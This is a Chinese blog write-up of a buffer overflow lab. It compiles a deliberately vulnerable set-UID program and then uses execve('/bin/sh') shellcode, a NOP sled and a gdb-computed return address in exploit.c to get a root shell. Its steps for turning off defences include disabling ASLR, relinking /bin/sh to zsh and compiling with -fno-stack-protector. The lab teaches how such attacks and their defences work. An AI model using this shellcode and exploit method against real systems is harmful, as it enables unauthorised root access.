缓冲区溢出攻击

首先为了方便观察汇编语句,需要在32位环境下进行操作,首先在Kali中安装相关编译应用:
image

image

image

输入命令linux32进入32位linux环境,输入/bin/bash使用bash,使用exit退出linux32位环境
image

ubuntu和其他一些linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键,所以在本次实验中,我们使用以下命令来关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

image

此外,为了进一步防范缓冲区溢出攻击以及其他利用shell程序的攻击,许多shell程序在被调用的时候自动放弃它们的特权,因此,即使能欺骗一个set-UID程序调用一个Shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或者/bin/dash的一个符号连接,为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序zsh来代替/bin/bash:
(需要root权限)

cd /bin
rm sh
ln -s zsh sh 
exit

image

一般情况下,缓冲区溢出会早成程序崩溃,在程序中,溢出的覆盖了返回地址,而如果覆盖返回的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于其他功能,这段代码就是shellcode。
我们设计如下的shellcode:

#include <stdio.h>
int main(){
	char *name[2];
	name[0] = “/bin/sh”;
	name[1] = NULL;
	execve(name[0], name, NULL);
}

此shellcode的汇编指令如下:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
image

假设存在缓冲区溢出的程序为stack,将以下代码保存为“stack.c”文件,保存到/tmp目录下:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

image

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”
编译该程序,并设置SET-UID,命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c 
chmod u+s stack

gcc编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码的时候需要使用-fno-stack-protector来关闭这种机制。而-z execstack用于允许执行栈。

image

由于我们的目标是攻击刚才的漏洞程序,并通过攻击获得root权限,所以构造如下payload:
将以下代码保存为”exploit.c”文件,保存在/tmp下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
char shellcode[]=
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
void main(int argc, char **argv) {
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

在上面的代码中,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:

gdb stack
disass main

结果如图:
image

image

接下来的操作:
先用breakpoint语句b main 设置main函数地址的断点,使main函数的数据地址存在寄存器中,然后用 i r $esp 读取寄存器。
image

image

得到buffer为0xffe07dc0,
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffe07dc0(十六进制)+100(十进制)=0xffe07e24(十六进制)
现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x24\x7e\xe0\xff

image

接下来先退出再编译 exploit.c
gcc -m32 -o exploit exploit.c

image

现在开始进行攻击:
先运行程序expolit,再运行漏洞程序stack,观察结果:、

image

可见,通过攻击,获得了root权限!

练习二:
通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。

image

攻击失败,没有root权限。我想因为是由于地址空间随机化被开启,导致之前计算的地址与实际的地址出现了不同,从而不能完成攻击。

练习三:
将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。

image

攻击失败,没有获得root权限。使用的bash程序,当shell运行时,没有root权限,此时,即便攻击程序攻击了漏洞程序,也无法获得root权限。

在实验阶段中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化,固定地址,从而使得地址的猜测变得更加简单。攻击程序写一个badfile文件,将其中的一部分字节替换为之前计算好的字节,当漏洞程序读取badfile文件时,由于没有限制输入的长度,导致返回值被之前替换的字节覆盖,当程序返回时,跳转到了预先指定的地址,获得了root权限,完成了攻击。

posted @ 2023-01-24 23:32  tavee  阅读(98)  评论(0编辑  收藏  举报
****************************************** 页脚Html代码 ******************************************